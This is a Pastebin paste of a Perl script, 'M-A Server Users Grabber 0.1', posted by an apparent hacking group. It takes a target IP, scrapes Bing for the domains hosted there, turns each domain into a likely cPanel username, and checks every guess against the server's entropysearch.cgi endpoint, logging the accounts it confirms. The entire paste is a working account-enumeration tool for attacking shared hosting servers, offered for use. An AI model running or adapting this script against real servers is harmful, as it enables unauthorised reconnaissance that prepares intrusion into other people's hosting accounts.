Pain_R

M-A Server Users Grabber 0.1

Mar 16th, 2014
299
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.23 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #
  3. # M-A_labz project
  4. # gr33tz : b0y h4ck3r , Mr_Anarshi-T
  5. #
  6. # http://upload.traidnt.net/upfiles/NfH25374.png
  7.  
  8. use HTTP::Request;
  9. use Win32::Console::ANSI;
  10. use LWP::Simple;
  11. use Term::ANSIColor;
  12. ## Conf
  13. print color ("bold white"), "\n[+] M-A Server User Grabber 0.1 \n";
  14. print color 'reset';
  15. print color ("red"), "\n[+] Enter IP : ";
  16. print color 'reset';
  17. $ip=<STDIN>;
  18. chomp($ip);
  19. ## Start Grabbing from bing Basing on ip
  20. my $page = 0;
  21.                 print color("green"), "[+] Working on $ip\n";
  22.                 print color 'reset';
  23.         while (1) {
  24.  
  25.                 my $content = get("http://www.bing.com/search?q=ip:$ip&first=$page&FORM=PERE") or die("Error while reversing\n");
  26.                 my $status = keys %group;
  27.                 while ( $content =~ /<cite>[:\/\/]*([\w\.\-]+)[\w+\/\.\-_:\?=]*<\/cite>/g) {
  28.                         $group{$1} = undef;
  29.                 }
  30.                 last if ($status == keys %group);
  31.                 $page = $page + 10;
  32.         }
  33.         open (rev,">result-$ip.txt");
  34.         foreach my $host (keys %group) {
  35.         print rev "$host\n";
  36.         }
  37.         close(rev);
  38.         print color("green"),  "[+] D0ne Grabbing Sites\n";
  39.         print color 'reset';
  40.  
  41. ## start parsing users
  42. print color("green"),  "[+] Start Users Listing ...\n\n";
  43. print color 'reset';
  44. ## sort sites list
  45. system("sed -e \"s/www.//g\" result-$ip.txt > tt2.txt");
  46. system("rm -rf result-$ip.txt");
  47. system("sed -e \"s/\\.//g\" tt2.txt > result-$ip.txt");
  48. system("rm -rf tt2.txt");
  49. sleep 0.1;
  50. ## get first 8 char of each site
  51. system("cut -c-8 result-$ip.txt > users-$ip.txt");
  52. ##
  53. open (file2, "<users-$ip.txt") || die "[-] Can't Open Users List !";
  54. my @users = <file2>;
  55. close file2;
  56. foreach my $user (@users) {
  57. chomp $user;
  58.  
  59. my $check = "http://$ip/cgi-sys/entropysearch.cgi?user=$user";
  60. my $reqcheck=HTTP::Request->new(GET=>$check);
  61. my $uacheck=LWP::UserAgent->new();
  62. $uacheck->timeout(5);
  63. my $responsecheck=$uacheck->request($reqcheck);
  64.  
  65. if ($responsecheck->content=~ /$user/)
  66. {
  67. print color("yellow"), "[+] User Found : $user\n";
  68. print color 'reset';
  69. open(TN,">>$ip-users.txt");
  70. print TN "$user\n";
  71. close(TN);
  72. }
  73. }
  74. ## cleaning
  75. system("rm -rf users-$ip.txt && rm -rf result-$ip.txt");
Add Comment
Please, Sign In to add comment